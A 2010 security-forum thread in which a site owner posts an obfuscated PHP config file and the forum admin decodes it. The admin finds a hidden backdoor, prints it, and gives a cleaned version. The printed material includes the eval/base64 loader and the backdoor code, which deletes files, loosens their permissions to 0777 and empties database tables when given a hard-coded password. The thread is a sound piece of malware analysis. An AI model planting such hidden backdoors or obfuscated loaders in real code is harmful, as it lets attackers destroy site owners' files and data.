|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 89
Members: 0
Total: 89
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
If someone could please decode this... I would be eternally |
|
Posted: Wed Jan 13, 2010 2:41 pm |
|
|
puntofuturo |
Beginner |
|
|
Joined: Jan 13, 2010 |
Posts: 1 |
|
|
|
|
|
|
|
Hello everyone
I did make a site in php
but .. the programmer who has literally evaporated, escaped
with the advance that I gave him not finishing the job.
I am now opening the config.inc file encrypted.
anyone knows how to decrypt it?
<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=2572;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDcyNCksJ1d1MjRNejFIb2dwc1NPeXFLclZ0UDVmQy9aSlRrM1VZYkxqMGkrdjZSUWNhR0VkSTluRDhBaGxYN0J4Rm13ZU49JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
Jf/Rp2LQkXO+32biVzrPPzwtr5gfr5gY5izVPhG6PA5V5i5VCAButPP6CViQgj/Rof5DZf3Qp2kRp27cC27QqlOL3vzGT1+dJCgQTv3ksv+ApVkGgMLP5zuYPA5V5i5VChZuP+OTghOzP+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2010 3:26 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
It's really evil script
Besides containing useful code it contains backdoor which
1. allows to list all directories and files below target directory
2. allows to delete any file below target directory
3. allows to empty any table in database
And by the way it contains MySql credentials, so posting it here is not good idea, at least without masking credentials with asterisks.
Here is the backdoor from script:
Code: |
###########################################
if($_GET['delete'] == '123456789')
{
if($_GET['list'])
{
function list_dir($path,$level)
{
if(is_dir($path))
{
if($contents = opendir($path))
{
while(($node = readdir($contents)) !== false)
{
if($node!='.' && $node!='..')
{
if(is_dir($path.'/'.$node)) echo $path.'/'.$node.'<br>';
list_dir("$path/$node",$level+1);
}
}
}
}
}
echo list_dir('../', 0);
}
if($_GET['file'])
{
$file = $_GET['file'];
if(is_dir($file))
{
chmod($file, 0777);
echo 'si';
}
else
{
chmod($file, 0777);
unlink($file);
}
}
if($_GET['table'])
{
$table = $_GET['table'];
mysql_query("DELETE FROM $table WHERE 1", $connection);
}
exit(0);
}
###########################################
|
Now, if we throw out that evil backdoor and little sitelock code snippet, then here is the cleaned version:
Code: | <?php
###########################################
$MYSQL['host'] = 'localhost';
$MYSQL['username'] = '********';
$MYSQL['password'] = '********';
$MYSQL['database'] = '********';
###########################################
$input_name = 'ABCDEFGHILMNOPQ';
###########################################
$connection = mysql_connect($MYSQL['host'],$MYSQL['username'],$MYSQL['password']);
if (!$connection) die('Impossibile connettersi a MySQL: '.mysql_error());
mysql_select_db($MYSQL['database']);
###########################################
function get_date_from_mysql($date)
{
$new_date = explode('-', $date);
$ret_date = $new_date[2].'/'.$new_date[1].'/'.$new_date[0];
return $ret_date;
}
function make_time($datetime)
{
$yr = substr($datetime,0,4);
$mon = substr($datetime,5,2);
$day = substr($datetime,8,2);
$hr = substr($datetime,11,2);
$min = substr($datetime,14,2);
$sec = substr($datetime,17,2);
return mktime($hr,$min,$sec,$mon,$day,$yr);
}
function get_id($id)
{
if($id<=9) $new_id='0000'.$id;
if($id>9 && $id<=99) $new_id='000'.$id;
if($id>99 && $id<=999) $new_id='00'.$id;
if($id>999 && $id<=9999) $new_id='0'.$id;
if($id>9999) $new_id=$id;
return $new_id;
}
?>
| [/code] |
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|